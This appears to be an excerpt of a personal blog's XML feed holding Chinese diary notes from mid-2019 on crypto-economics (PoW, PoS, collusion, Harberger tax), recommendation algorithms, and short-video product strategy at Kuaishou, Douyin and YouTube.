    一样东西的价值,在于它的成本。这里的成本绝不只是制作生产成本。还有创意,灵感成本。这些私人租金
    而创意这个东西是模糊的,是主观的。
    因为它是主观的。它有了被包装和营销的空间。于是有人们尝试在包装和营销上出力,为了在真正的主观创造上偷懒。

    +
    +
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[碎语 2019 Jul.]]> + + http://chocoluffy.com/2019/07/30/碎语-2019-Jul/ + 2019-07-31T01:42:43.000Z + 2019-09-21T14:30:39.248Z + 2019/7/28
    +
  • 有一些职位是流动着的,比如设计师。他们的流向,是人们注意力的方向。
  • +
  • 在陌生感和挫败感中学会宽容。不仅仅是理解,宽容别人;也是理解,宽容自己。我们活着,是为了成为宿命外的自己。
  • +
  • G的duplex,最适合微信来做。从整合服务入口的自动化,到自动化整个服务。但为什么微信其实可能永远都不会这么做,小程序可能已经是他们最具有侵略意义的举措:因为上游的整合,容易伤害到下游的多样性。
  • +
  • 张一鸣的故事里,很重要的一环是认识了酷讯投资人王琼。
      +
    • “2009年底,酷讯投资人王琼找到张一鸣,让再创业。王琼把酷讯房产业务独立出来。正好饭否关站,张一鸣就创立了九九房,在业内率先上线了5款移动APP,快速收割了百万用户。这也让他发现移动互联网快速发展的趋势。掌上家族共包含五款移动找房应用,用户通过掌上家族找房,不仅通过地图浏览具体位置,还能通过房源详情了解最全面的房源信息;并且为用户提供的一键拨打功能,大大提高了用户的找房效率。”
    • +
    +
  • +
+

【年度】MR = MC

Nothing is Cheaper than Proof of Work | Truthcoin: Making Cheap Talk Expensive

+
    +
  • MR是系统中可以调节的部分。MC是否cumulative成为关键。如果MC是累进的,则是拍卖制, highest bidder win。
  • +
  • MC_rent + MC_nonrent = MR。对于任何去中心化的应用来说,rent应当一直为0。而同样地,中心化意味着租金收入。
  • +
  • 即便我可能是交易中的收益者,我实际上是通过隐瞒自己的真实需求来实现的MR > MC。比如,在我急需用车的时候打到正常价格的的士,以及在我需要用药的时候买到普通价格的药。我是在用我的私人信息向我自己收取了租金。因为需求没有被暴露出来。
  • +
  • MR = MC 的情况只存在在没有外部性的情景里。
  • +
  • 而对于消费者来说,他们不断在追求MR - MC的最大化,就是他们得到的利润,其实就是在不断追求MC方信息对称的一个过程。而创业者的作用,往往是利用其行业经验以及资本能力,将这一部分租金成本(信息)标准化地以更低的价格销售给普通消费者。这会带来那一个行业市场内的信息流通方式的改变,而这个改变的方向和速度,往往和这个行业的结构相关。
  • +
  • 租金rent意味着排他性。只有当对手无法拥有的时候,才存在租金的一说。当信息不再排他的时候,它就不构成租金的一部分。或许这就是加密货币巧妙的地方。他通过设置算hash的方式,将租金彻底地从系统中消灭了。每一个结点都有验证信息的关键知识,即hash是否计算正确。而目前在人类系统里,这个关键的验证手段依赖的是名望。
    +

    为什么这个系统很重要。因为在加密经济里,我们付出的成本是电力和运算成本。而在一个商业系统里,这个成本是时间。

    +

    简单来说,比特币的运作方式是,你以一个极高的成本获取一个和系统紧密相关联的一个价值单位。

    +
    +
  • +
  • 这也是为什么ripple不是真正的P2P。这个体系里面存在banking收取租金的关系。
  • +
  • 因此,在P2P的系统里面,是没有「租金」这个概念的。这意味着,MR = MC。我们日常消费中,所得到的利润和亏损,都可以理解为租金,是通过双方掩藏自己的真实需求估价而得的差值。对于POW来说,每10min有12.5bitcoin出现意味着有12.5bitcoin的浪费。
  • +
  • pow的随机性打乱了共谋collusion的形成。
  • +
  • pow对MC的设计使得系统更容易让MC追上MR,因为permissionless。
      +
    • 因此对于说希望拿比特币制造的热量来供热的说法是不成立的。因为任何额外的收益都将最终转嫁到提高的成本上。
    • +
    +
  • +
  • 为什么不切换成另外一个方式,比如对社会有益的方式,而不是来解hash问题,可能相对没有意义。
      +
    • 外部性的引入是危险的。因为成员本身没有这个利益驱动去获得正外部性。
    • +
    +
  • +
  • Tendermint/Casper
      +
    • 每一个人可以通过抵押自己的部分资产而加入validator(验证者)。如果他们不正当的操作,他们抵押的资产会被没收。因此只要这些行为正当的验证者数量够多,能够维护共识而不需要挖矿来得到。
    • +
    • validator获得newcoin以及交易手续费。
    • +
    • 为什么说即便是POW的变种POS,其实也遵守的是MR = MC。一个MR = MC的系统,资本并不是大量集中在参与者手中的,而是因为需要覆盖MC的成本而流通到了市场里。一个MR > MC的系统,参与者能够积累大量的系统资本而形成垄断。如果把消费的概念引入,MR = MC能够极大的增加消费的多样性。而MR > MC则是会形成一个固化的消费体系和结构。
    • +
    • 流动性为什么重要,问问雷曼兄弟。而POS恰恰做到的是相反的事情,他们需要让资本锁定,减少了流动性。
    • +
    • 锁定资本并不等同于改变了资本的供应(并不减少了资本的供应)。因为人们锁定是为了未来能够拿出来。
    • +
    • POW以直接消耗硬件和电力的成本来完成循环,而POS则是将这个成本通过流动性短缺嫁接给整个市场。从而以影响到整个市场的效率为成本来降低POW产出的co2对环境的影响。
      +

      🌟 成本的嫁接。MC是否由同一个获得MR的人承担,还是MC会被转嫁到更隐晦的地方。很多时候,我们为了更好的监管这部分成本的流通,我们会选择更直接的方式。

      +
      +
    • +
    +
  • +
  • 未来很可能的情况是两种系统都会存在。只是成本的分布不一样而已。

    +
  • +
  • Delegated Proof-of-Stake (DPoS)

    +
      +
    • 这一种形式是,更像是世袭制度。人们用资本选出100个senator,他们来负责签署区块按照次序,并由此来是系统达成共识。
    • +
    • 🌟 **“voting” is only effective when it is cheap to cast an informed vote.- 选票是被买来的。并不是以一种非常显然的方式。因为它的显然性也会成为它的危险性。
    • +
    • 一个零和游戏意味着。除了一方外的其他参与方的付出最终都会白费。
    • +
    • 很多时候,候选游戏里的候选人会选择让整个游戏变得复杂,这会让选民做出informed vote的成本变高,从而达到更容易散播笼络人心的信息的目的, adding self-fulfilling expectation of hopelessness。
    • +
    • 同时也和数量有关。数量越多,投出informed vote的意义也越小。(为什么会有quadratic voting。为了体现意志的不对称性
    • +
    • 为什么资本主义经济比较有效。因为它明确的规定了MR和MC的流向,是私有的,一分钱的风险得到一分钱的回报。而DPOS和一切的voting一致,都不是资本主义性质的,因为在voting里,回报是外部性质的,并不是私人所有,而投票的成本是零,也没有私人的风险。
    • +
    +
  • +
  • 美国的创始国父们选择一个Limited Goverment也是为了降低MR,使得MC(政治贿赂,腐败,勾结)也会因此而降低。

    +
  • +
  • 钱在短期内是零和的。这意味着短期内给其他人更多的钱,自己的钱会贬值。uniform changes are meaningless, that non-uniform changes are meaningful. 我们注意的不是钱的绝对值,而是相对值。
  • +
  • “Satoshi’s design insight was to/channel/that/inevitable work/into a/cumulative/process, to optimally stablize a peer-to-peer clock in a cartel-resistant way.”
  • +
+

2019/7/27

    +
  • 身边很多的问答都是在简单地补充信息不对称。而我期待的问题和回响,是抛出另一个方向。
  • +
+

关于快手和抖音

+

快手特别的地方在于,
保护每一个人那些可能没那么多收益的事情,很难,但仍有人在坚持。
和youtube真的很像。youtube的发展史有很大帮助。
必须承认的是,针对不同的人群有不同的更适合的盈利模式。
始终记得快手最大的优势:是这8年来平台上记录的真实的不加粉饰的生活。

+
 - 真实而且极其个性化的场景,意味着这很难标准化。以及可能并不适合很多依托于标准化流水线式变现的商业逻辑。
+- 比如已经成为快手收入主来源的直播。我们不是靠推出很多标准化的秀场而脱颖而出的,我们赢在不胜数的极具个人特色的直播间数量,以及依赖铁粉能达到的高比例的打赏率。
+- 比如我们想做的电商。老铁们带货无法成为规模化的商品。我们希望做的不是帮助他们打造影响力的爆款,而是具备长期稳定需求预期的订货合作。使得老铁们能一人带动多人逐渐形成一个微型的供应链。「带货」是极具个人生活化的事情,这意味着每一个货都经过他的手营销出去。
+- 比如我们的主产品短视频。我们不是依赖标准化滤镜和主流单一的审美。我们依赖的是生活百态以及每一个人独特的存在。
+

但必须澄清一点的是:这并不是说我们不能借鉴标准化的做法。每一个平台上都存在不同比例的消费者和生产者。合理地区分人群以及在不同人群上推广更适合的商业模式,是我们想要看到的双赢。

+

这个熟人系统也存在局限。

+

我认为最大的漏洞在于,一旦「这部分信任变得容易复制」,我们的平台的价值就越小。和货币是相似的,没有生产力支撑的纸币在超发后会贬值。而没有信任度支撑起来的网红,其轻易成功的事迹使得「积累粉丝」这件事变得贬值。是老铁们对「掉粉」的敬畏,得以约束自己规避非法牟利。不像抖音只需要一个成名时刻,老铁们在长期朴素耕耘着自己的形象,而我们应当极力守护这份朴素和真诚。

+

抖音的特点:

+
    +
  • 快速的流量变现,使得影响力的价值是打折扣的。电商,依托的仍是陌生人交易的典型电商场景,核心在于平台为商品质量背书。
  • +
  • 基于流量的盈利模式,使得头条需要打造类似谷歌的高效率广告匹配系统,也注定他们会不断拓展到注意力多的场景里。
  • +
+

往抖音那个方向应该学习的点应当是:

+
- 那些只愿意为抖音平台的生产者的原因。
+

【创业】基于vlog日记的配对。记录的目的是为了交流。你能够付出的努力能够被极其容易的认证出来。而当你把这部分内容和你的形象绑定得越紧密,当你越在意前来和你对话的人的时候,你会准备得越充分。

+
+

2019/7/26

    +
  • 发现了吗,算法达到最终的阶段,就是用户按照算法训练的意愿而操作。而我为之一生所自省和成长的目标,就是自由。不被操控,不被自己的感官操控。
  • +
  • 新人的生活。仿佛就像在拼拼图。有两个时刻是最关键的:
      +
    • 当我决定来这里的时候。从那个时刻起,我的优化目标就从选择,改成了改进。我因为,广阔的第一线战场,权力等等来的这里,我也要在这里拿到这些。
    • +
    • 当我终于和组里的人信息一致的时候。终于在提出改进意见之前,我自己能够评估这个思路的可靠程度和收益。
    • +
    +
  • +
  • 打动我的有很多瞬间,500个家乡,你的存在即是完美等等。很多时候,不受主流审美待见的江湖气,其实保留着一个人最初的真诚和欲望。
  • +
  • 这是一条更难的路。但是也很有温度和人情味。这件事总要有人做的。就让我来试一试吧。
  • +
+

2019/7/25

一答(yiida)单词棒 | AI 智能交互翻译机,手指点击即刻翻译

+
+

CV的实际应用。一个很好的例子。

+
+

2019/7/18

    +
  • 我就是那么俗。每一次都会被感动。可是还有什么比活着更俗了嘛。
  • +
  • 当一群人大笑的时候,每个人都会看自己最喜欢的人。
  • +
  • 平均本质是获取一个平均方向,但是会丢失强度信息。例如对NLP里的句向量来说会丢失句长信息,对ctr预估里的用户行为序列来说会丢失用户活跃度信息。因此求平均的效果要看任务本身对强度信息是否需要,如果不需要的话,求平均可能就能得到不错的结果,否则的话求mean可能不如求sum。
  • +
  • 从youku、youtube的发展看ugc、pgc以及快手小剧场。
  • +
+

2019/7/13

    +
  • 学习youtube尤其是游戏直播上的产品设计。
      +
    • super sticker,其实对应的是快手的直播打赏。
    • +
    • buy comment ? 允许用户买一段评论。
    • +
    • charity。允许用户自发的领取一个公益组织,并在自己的页面显示,用户可以选择捐赠,捐赠的钱直接捐赠到对应的组织渠道。
    • +
    • 教育模式。用户打开youtube首页没有推荐,通过列表的方式为用户推教育视频。
      +

      消费后的信息的结构化。有意思的是,UGC是否必然会过渡到UGC的结构化或者PGC?有意思的趋势是,在抖音消费,在快手生产?又想到当初Twitter在不温不火的时候,点燃用户活跃程度的一个产品功能是:热榜。

      +
      +
    • +
    +
  • +
+

年度话题:不对称性

    +
  • 我们要学会设置门槛。
      +
    • 关注和搜索很难。这其实和微信公众号的思路有相似之处,保证你关注的,能够进入你关注页享受流量曝光的,可能更少,但是你更在乎的人。
    • +
    +
  • +
  • MR = MC。MC部分的例子:
      +
    • 现在在南部城市里一些快手大V(7月广州调研),其实他们并不缺钱,可能家里就是经济条件还很不错的,但是他们通过学习这个平台的风格,拍摄了一些很接底气的视频,把自己包装成为了另一个形象,从而达到电商卖货的目的。生活的「真实感」也可以伪造。
    • +
    • 抖音以及youtube上造就了这么一批新创公司方向,他们掌握着核心的剧本拍摄和剪辑能力,然后通过和品牌合作,只需要品牌方给一个故事灵感和方向,他们可以帮助完成整支视频的拍摄和宣发。「美好感」也可以伪造。
    • +
    +
  • +
  • 这意味着一点:对于不同的门槛,人们的反应条件和程度都是不同的。产品思路上,我们主观设置的对好人低门槛的功能,是否同样会吸引到那些不怀好意的坏人们。
  • +
  • 不仅仅要会设置门槛,还要对门槛成本的积累作把控。这决定了成本是否不可伪造,以及耗费是否有意义。
  • +
  • 而有些愚蠢的设计,把资本资源当作了门槛。
  • +
+

这引出我希望主要讨论的原则:

+
    +
  • 很难积累。
  • +
  • 但积累的成果极其容易验证。

    +
  • +
  • 今天获知的一个很重要的信息: “掌握货源和供应链的人才是站在金字塔的顶层。”

    +
  • +
+

2019/7/12

    +
  • 时间是有回声的。
  • +
  • 亲自去呼吸,让春天自由。
  • +
  • 直播慢慢回落的原因。以及为什么没有考虑会员制。
  • +
  • 我们负责周边的基础架构。比如掌握资源获取的便利程度,比如衣服和饰品,最后让用户挂名即可。
  • +
  • Today, we’re introducing Learning Playlists to provide a dedicated learning environment for people who come to YouTube to learn.
  • +
  • 关注youtube的产品变动
  • +
+]]>
+ + + + + + + + + + + + + + + + + + + +
+ + + <![CDATA[碎语 2019 Jun.]]> + + http://chocoluffy.com/2019/06/28/碎语-2019-Jun/ + 2019-06-29T00:14:40.000Z + 2019-09-21T14:30:39.252Z + 2019-06-30
    +
  • 但的确是这样:我写作,是为了遗忘。等过一阵子,重新见到的时候,可以理性地思考。
  • +
  • 电梯超重了,一对年轻人自愿下来为了让外卖小哥进去,女生说等外卖的人会着急的。
  • +
  • 价值的使用普及,使得很多实际上是价值榨取或者价值转移的活动,被包装成为了价值创造的活动。人们喜欢把租金(unearned income)说成是自己的劳动所得(earned income)。为什么不平等不好,因为这会导致在实体经济上的投资减少,而大家尝试更激进而且赌博式的方式,也可能更听得进去谎话。对人的行为分析一个很重要的角度是,人存在一个自我实现的倾向(self-fulfillinf prophecy),我们是怎么谈论事物,会影响我们的行为,并进一步影响我们如何理论化事物获得经验和形成思维。
  • +
+

2019-06-29

    +
  • 特殊职业带有极大的附加价值,比如医生和警察。
  • +
  • 邮件,im,视频通话;其实还有一个维度:那就是面对面交流。
  • +
  • 和李阳的对话,由于国内快递基础的完善,这已经形成了物理上的互联网。他让我尝试用拼多多,他在拼多多上买的水果是直接从原产地直销的。
  • +
+

2019-06-28

    +
  • 面对面建群共享信息。
  • +
  • 在短视频场景里,用户行为序列更多的是相关性而不是次序性;rnn是强次序classifier,而使用时序模型的前提是时序等距;而时间间隔这个特征只在同一个session内重要,同一个session内的用户行为应该被视为是兴趣聚类的。但即使是attention,在用户系列超过100时甚至比不上avg pool。
  • +
  • 实践驱动。从精细特征加多个浅层模型,转化到大量数据加深度而且复杂的模型。
  • +
  • 音乐版权的实现,快手和抖音做的太好了。让引用版权音乐变得无比容易。
    +

    这也是「不对称性」在产品之中的体现。

    +
    +
  • +
  • “人就是这样,一旦有了信仰,他就有了决心和毅力去浪费时光”
  • +
  • “人之所以伟大,在于他是桥梁而不是目的;人之所以可爱,乃在于他是过渡和没落。”
  • +
  • 【To Read】《Secrets of Sand Hill Road: Venture Capital and How to Get It》
  • +
+

2019-06-24

    +
  • “满足需求”是单向思考,“交换”才是完整的双向思考,交换,意味着背后的体系和规则,以及稳定性。
  • +
  • 稍后阅读的功能,必然要承接深度学习的环境。不然就是永远不读。需要一个功能是,帮助我小结内容。
  • +
  • ml中很多多指标训练,以及很多很难量化的为标签的指标。比如如果用用户评分,需要rescale因为不同用户的打分习惯不同。
  • +
+

2019-06-23

    +
  • 学会遇事迅速恢复平静的能力。因为这样更有效率。
  • +
  • 入eth。
  • +
+

2019-06-21

    +
  • 🔖 近期产品上两个有点adversarial的想法:
      +
    • 关于libra。那些曾经帮助你打破垄断的工具,往往能够形成更强有力的垄断。
    • +
    • 关于共谋。那些对好人们低门槛的事情,是否同样容易吸引到不怀好意的人。
    • +
    +
  • +
+

哈伯格税以及bonding curve

    +
  • 关于如何引进,流动以及回收资产的规则。哈伯格税在其中帮助提高流动性。

    +
    +

    对NFT用bonding curve。中心化的典当处。核心思想:使得供给的增加并不会对已流通的商品造成贬值,反而是升值。通过提高新增供给的定价。同时用户可以随时拍卖自己的持有物,或者如果持有物在一定时间内没有被询价,则选择销毁而减少供给。(防止匹配市场,对于时间的竞争而形成渠道的军备竞赛,而是改造为对价值的竞争)

    +

    类似的方式其实已经出现在了部分“知识付费”的社群入门规则里。这是一类网络效应。网络效应暗含的意思是,将网络的价值推向极端,要么是大型热门网络,要么是没有。(低价的网络会被渐渐逐出市场)。

    +

    目前订阅制的局限在于,太依赖于用户自发的兴趣。很多用户在订阅操作之后可能并没有很好地利用它,与此同时对于那些高使用价值的潜在人群又难以发现。哈伯格税提供的额外流动性,能够很好的帮助资产流动到真实存在高使用价值的人群。

    +

    The revenue from the Harberger tax can either go into the bonding curve itself, increasing the value of garbage collection over time OR go towards the builders of the collectible, ensuring that new collectibles are minted in order to keep up with demand. 哈伯格税的流向。

    +
    +
  • +
  • 【产品】My biggest problem isn’t finding events to fill my calendar, but knowing which friends are free **now to hang out and attend one with me.- There are plenty of calendar, event discovery and offline hangout apps. IRL will have to prove they deserve to be united.

    +
    +

    关于hangout一类应用和产品核心:其实不是我究竟拿什么活动来占满自己的时间表,而在于我如何知道我哪个朋友是空闲的,可以一起玩。

    +

    产品设计:提示你的这几个好友刚刚在线,或者说他们现在是空闲的。

    +
    +
  • +
  • 我们不是在讨论究竟喜不喜欢这些潮流,抑或要不要买衣服还是书,而是我们最终会希望让什么东西占据这个位置。
  • +
  • 未来。人们会去做很多看似毫无意义的事情,仅仅因为那样更难。
  • +
  • 昆德拉。在笑声中消解还是在悲痛中。
  • +
  • 需要一些令人敬畏的事使人谦卑。建筑,雕刻。可人类在渺小时感受到的敬畏究竟能不能持续。
  • +
  • 杭州。被一片绿色挺拔竹林守护着的 庄严国土。
  • +
  • 永远不要低估一个人,一群人愿意相信的力量,但仅仅祈愿人们向善是不够的。人们为了自己的利益而做出对社会有积极意义的事情,而不依赖于人们自己的善恶。
  • +
  • 对libra直接的质疑就是,第三世界国家愿意放弃铸币权吗。
  • +
+

2019-06-20

    +
  • 推荐系统和强化学习。强化学习:multi-arm bandit(关于未知的选择优化问题)。多臂老虎机问题。其实假设是这样一个场景:存在多个老虎机,每一个老虎机的获胜概率都不一样,应该如何最大化收益。对应在推荐系统里面,就是用户对不同内容感兴趣程度不同,不同广告对用户的影响以及收益不一样如何选择广告等等。
  • +
  • Improve your English pronunciation using Youtube 视频应用的临近市场。
    +

    比如:教育市场。

    +
    +
  • +
  • 相比追热点。我更想去看事情最初的变化。大部分后续的演化更像是炒冷饭。
  • +
  • 其实fb这个事反而让人意识到去中心化的重要性,随着经济和科技的发展,我们越来越需要更大规模的协作(而不是仅限于一个国家内部),但是这会形成一个非常恐怖的怪兽,如果是基于去中心化的结合方式,那么这个组织是弹性的、成员也是动态的,而如果掌控在某种力量手里,且这种力量由于责权不对等导致没有制约,这就是一个很大的灾难了
  • +
  • 比特币的交换意义大大降低,避险属性。
  • +
+

###【博客草稿】广告不再有效了吗?

+
    +
  • 更有效的点对点的价值传递。
  • +
  • 广告这个盈利模式本身意味着中心化的支付。不要低估更有效率的价值传输的意义。广告的商业意义之一,是间接来帮助测量注意力的价值,更有效地利用曾经不容易被直接交易的流量场景(比如文字,视频,生活等非标准品)。广告只是一种方便的交易方式,并不是最有效的方式。因为它的成功依赖于用户脱离本身的生产场景的程度广告将直接的价值衡量标准,转换为一个额外物的匹配问题。将一个非标准化的场景转移到标准化的定价和投放。
    而依赖于广告作为核心盈利模式的公司,将最终走向不断扩张用户场景的商业策略。(看谷歌,为什么要做android,为什么要做stadia等等)。因为对他们来说,广告只是最后一步数钱的动作,他们需要不断的获取用户的注意力,然后导给广告。。因为这是一个中心化的匹配问题,它的创造来解决的是。
  • +
  • 在这样的一个环境下,公司的发展策略会变化吗。就目前来看,大部分公司的价值存在于其所在价值链上的垄断程度。当公司中心化时,其上,下游的部分会开始组件化。
  • +
  • 是从平台(platform)到协议(protocol)的转变
  • +
  • 协议的盈利模式?(比如仲裁?可是仲裁其实是一种中心化的操作)
  • +
  • 通过引入第三方的中心化支付,在负责匹配的市场。加密货币的贡献之一是,在解决测量问题之前,先解决了传输的问题。
  • +
+

2019-06-19

论共谋

如果一个真实社区可以做到以远低于 1 美元的成本带给作者 1 美元的收益,那么攻击者也可以不断以远低于 1 美元的成本给自己挣得 1 美元的收益,直到耗尽整个系统的资金为止。

+
+

【思维】adversarial的思维。如果这个事情对正面很有优势,那么对反面呢。工具的使用,是否具有不对称性。

+
+

如果一个机制能够将彼此的参与者协调起来,那么在缺乏正确保护措施的情况下,已有串谋的参与者(例如,由同一个人控制的多个账户)将会更加协调,不费吹灰之力取走系统内的资金。

+

这也就是为什么基于代币的投票系统(如币乎)相比于基于身份的投票系统(如 Gitcoin CLR 或 /r/ethtrader 的甜甜圈币)拥有一个重要优势:至少大批量收购账户没有任何好处,因为你的影响力是跟你的持币量成正比的,哪怕你拥有再多账户,你的持币量依旧没变。

+

2019-06-18

抵抗共谋

    +
  • 现存两种攻击方式。
      +
    • 交易所挪用人钱包里抵押的虚拟货币
    • +
    • P + epsilon attack
    • +
    +
  • +
  • 现在有两种方法能解决串谋问题。第一种是将我们自身严格限定在那些 “无身份” 并且 “抗串谋” 的博弈类型中,从而无需担心贿选或身份造假的问题。
  • +
  • 就 /治理/ 和 /内容管理/ (二者都是需要公断是非的特殊案例) 这两方面而言,一种主要且有效的机制是 futarchy —— 通常指的是“基于预测市场进行决策的治理模式”,不过我要指出的是保证金也在其中起到很重要的作用。人们会因为人们的行为而有奖励和惩罚。
  • +
  • 连接性的增加,让人们缺席。而机制的作用是,让人们在席。
  • +
  • 【剧本】价值最终会等同于成本。“美”变得易于复制,让我们追求脆弱。仅仅因为它背后存在做功与浪费。一个想象中的未来,人们会去做很多看似毫无意义的事情,仅仅因为那样更难。

    +
    +

    忘记是谁说的,“可人就是这样,一旦有了信仰,他就有了决心和毅力去浪费时光”。

    +
    +
  • +
  • 仲裁者随机选择。会根据仲裁者选择是否与最后的决定一致有奖励或者惩罚。(保证了仲裁参与者有意愿预测并支持当前最长链),适合场景:知乎答案排序,闲鱼纠纷。

    +
  • +
  • 生产者的社交关系。这个是第二层护城河。快手是介于微博和微信之间的一类社交关系。微博焕发第二春是一个有意思的现象。

    +
  • +
  • 有时间写一篇博文分析下:微博/twitter的重新增长。
  • +
  • 有意思的现象:无论一个人有多少好友,一天使用微信朋友圈的时间保持在30分钟左右。
  • +
+

2019-06-17

MR = MC

观点 | 没什么比 PoW 更便宜(完整版) » 论坛 » EthFans | 以太坊爱好者

+
    +
  • 观点较完整的一篇关于PoW及其后继者的比较,作者认为,“所有提出的替代方案,最终都可以视为隐式的PoW”,并通过经济租金的角度解释,“浪费”是不可避免的。作者进一步用PoW相比较了TENDERMINT和DPoS两种共识算法,提出这些变式方案中最终被牺牲的其实是资源的流动性。文章中涉及的诸多概念其实在许多场合都被概述过,这篇文章也可以看作是对这一系列内容的小结。
  • +
  • 【思维】对于人们的所有社会行为,只要生产活动一直进行下去,边际成本会不断迫近边际收益。(简单来说,这是一个市场不断变得稠密的过程)
  • +
  • P2P本质上,会消除信息租金。使得MR最终趋近于MC。信息租金,有不同的说法,比如对资源的垄断,或者说排他性,产生了MR - MC的差价。也是因为自由市场,使得这个利差不断逼近于零。排他性和P2P本质上是矛盾的。观察一个经济体是否要转变为通过寻租来获得利润,就是在观察它体系里是否会出现所谓的「高级节点」。
  • +
  • 尤其警惕「额外的益处」,外部性的优势,往往意味着的是成本的转移。只有把益处内部化,才能有效地追踪和累加成本。
  • +
  • 囤积货币带来的是虚假的货币紧缩。因为这暗示着未来囤积物被释放时的通货膨胀。真正的紧缩是销毁供应,牺牲生产者的利益,使得资源持有者的价值上升。这恰好和通货膨胀相反。通货膨胀里是价值从资源的持有者流向生产者。
  • +
  • 投票只在知情成本较低时有效。选票也是要买的,民主也是有成本的,成本是你的精力。
  • +
  • trump反对外国学者的方式就是延缓opt的发放。
    +

    机制设计中,MR = MC,要为MR找到MC,科技的进步提高MR,而人们的活动就是不断重新分布MC的过程,不同的规则意味着MC是否可以持续累积。

    +
    +
  • +
  • 知乎的会员制度,还比不上得到。因为人们对知识的进一步需求是成体系的,是更高效,成体系的获取;以及更高效的沉淀。因此,知乎的推算的重心,绝对不应该以人为中心的,以人为中心,意味着保护的是“生产者”,而在知识消费这个领域,生产者输出的成本太高。
    +

    但仔细想,这个说法是:维护现状的反对。因为知识这个领域,生产者的确应当是最重要的。

    +

    【思维】判断一个论点是在「维护现状」的维度还是在「应该如何」的维度。

    +
    +
  • +
+

2019-06-15

    +
  • 一块屏幕能不能改变命运。
  • +
  • last one,la stone
  • +
  • 那些所谓极好的创意,也都是极易容易验证,但是难以形成的。
  • +
+

2019-06-14

    +
  • 供不应求的时候,看toC;供过于求的时候,看toB。
  • +
  • 在我和别人开始将具体的想法之前,一定要说清楚“为什么要这么做”。
  • +
  • 【创业】毫米波隔空手势操作。主播可以远程轻松进行app navigation。
  • +
+

2019-06-13

+

曾经我们感受到的最精致的艺术呈现形式,比如电影级别的光线色调,比如3D游戏的场景,将随着技术的普及而成为我们生活的每一个部分。

+

既然广告会慢慢成为微电影,那为什么社交不能是一个游戏呢。

+
+
    +
  • 微信朋友圈是熟人社交。微信群其实就是半熟人半陌生人社交了。
  • +
  • bear的特征需求:针对每一个bullet point都附带对应的tag。
  • +
+

2019-06-12

    +
  • 【算法】最近看的比较多NLP的论文,也是因为觉得NLP能够给推荐算法很多启发,因为用户行为本身也能够被表示为序列,存在co-occurrence的关系,更适合做无监督学习。其中发现的几个trend:
      +
    • 对于encoder来说,引入更多的context信息是一个趋势。从输出是scalar,到一个vector embedding,再到由两组matrix(context embedding及其权重)来表示。scalar的典型代表是CNN里的activation和pooling。而vector embedding的场景是NLP里从one hot encoding到embedding的过渡,以及Hinton最新的capsule论文里也是采用vector in,vector out的方式,每一个胶囊表示一个特征的vector相比之前的neuron表示的scalar。而最后的context embedding和weights则是attention里的实践。
    • +
    • 将特征的权重转化为与特征本身相关的数值。在线性组合中,特征权重本身可以看作是特征和结果target之间的相似程度,而当我们需要将结果target同样看作是输入到下一层的特征时,我们希望target所代表的上一层特征的线性组合能够反映特征之间的相关性(聚类特征)。因此attention和capsule的实践是开始尝试用特征之间的内积以及其迭代来作为特征的权重。
    • +
    +
  • +
  • 【算法】推荐系统最经典的场景:是根据你和其他人已经有的rating,为那些还没有rating的item预测评分。并且在这个基础上演化出很多基于CF的做法。但是这些经典做法存在局限:
      +
    • 显式用户行为的特征极其稀疏,比如打分,点赞和收藏等等。真实用户场景里相对而言更多的是隐式用户行为数据,比如观看时间,操作之间的相对时间等等。
    • +
    • 推荐场景存在很多辅助信息,比如用户年龄,用户行为序列,关注关系等等。深度神经网络的优势之一也是能够更方便的结合这些辅助信息作为输入。
    • +
    +
  • +
+

2019-06-11

    +
  • 文字也是类似加密算法的。写作者写下的,阅读者费尽力气也难以解开。
  • +
  • Tendermint感觉还是在炒冷饭。利用的是类似Raft的consensus algorithm。然后所谓的BFT(Byzantine Fault Tolerance)其实就是Phase King(满足2/3是好人即可)。然后用的是PoS。
  • +
+

2019-06-10

    +
  • token economy和去中心化本身是相互独立的。代币的激励作用并不依赖于去中心化。
  • +
+

2019-06-09

    +
  • 我不希望让反思成为拖延行动的借口。
  • +
  • 公共领域本身就是打破层级的结果,因此这并不是恢复层级最好的切入口。
  • +
  • “人们接受语言描述的阈值在提升,而语言描述事物的能力在衰退,同时又没有更精准、更有力的词被造出来,所以,我们词用的越来越大,也越来越不值钱。”
    +

    搭配《信息高速公路上的虚无主义》一起阅读。

    +

    信息「货币化」的一个现象是,人们开始用信息交易了。成为了价值交换的媒介。(套用货币的一套理论)

    +

    各个领域社交化的趋势(尤其是电商和资讯领域),表明渠道的边际优势在递减。

    +

    推荐算法本身是有机会保证更多的公平的。比如如果改变推荐的标准,从点击阅读数纠正为阅读时间。时间这个标准相比点击率是目前来说成本最大的,类似proof of work的想法。 但是如果只是保证安全依照时序的做法,则很可能会受clickbate exploit.

    +

    我们接触到的新闻,和传统意义上的新闻含义不同,只包含了「新」而已;想起the newsroom里charlie这么说,i don’t want to expand the definition of news, i want to narrow it。

    +

    而我依然祝福你自由。

    +
    +
  • +
  • 而我口口声声说的规则设计,和管制究竟有什么区别?
  • +
  • “本地站长先他们要成为一个本地资讯的绝对枢纽。”我对这一类表述很敏感;规则的制定者和资源的拥有者的身份一旦重叠。铸币税。
  • +
  • 回家,老爸说,接地气的东西生命力才长久。
  • +
  • 永远不要对自己最亲的人有情绪。即便是左耳进右耳出也比费口舌解释要好。他们也是在你出事之后不计一切陪在你身边的人。
    +

    心平气和的面对问题,解决问题,才是更有效率的方式。

    +
    +
  • +
  • 判断一个人是否成熟,给他权力。看他有了权力之后做的决定依赖的是权力还是自己的理性。共患难和同享乐面对的是两个不同层面的问题。共患难时外界制造了一个敌对的形象,你只要顺势而为就能够凝结军心。但安逸的时候就不一样了。永远要为自己,找到下一片疆域。并且有足够的耐心去理解它。
  • +
  • 我谈论自由,是一个人面对荒野仍保有的美感;而当面对一群人的时候,我在想如何实现哈耶克的秩序。
  • +
  • 【快手电商的问题】喊麦、重金刷榜、疯狂卖货:快手电商下的独特江湖 直播打赏存在一个「延迟入场」的问题。“偷塔指打赏者在最后时刻打钱,拿走“榜一”的殊荣,也称秒榜。而就在倒计时不到10秒的时候,手工艺品电商“银师傅”突然进入了直播间,一口气撒出了70万元,压着最后一刻,偷塔成功。” 类似拍卖的场景和局限。以及「马太效应」,也即有钱的人能够更快的通过直播连麦积累粉丝。问题的关键还是,“掌握货源和供应链的人才是站在金字塔的顶层。”- 我们不能强迫用户去跨越他们控制的范围去做越级的事情,因为快手的优势在于我们将主播的身份和粉丝进行了强绑定,任何粉丝受到的伤害最终都会转移到主播的身上。**
    +

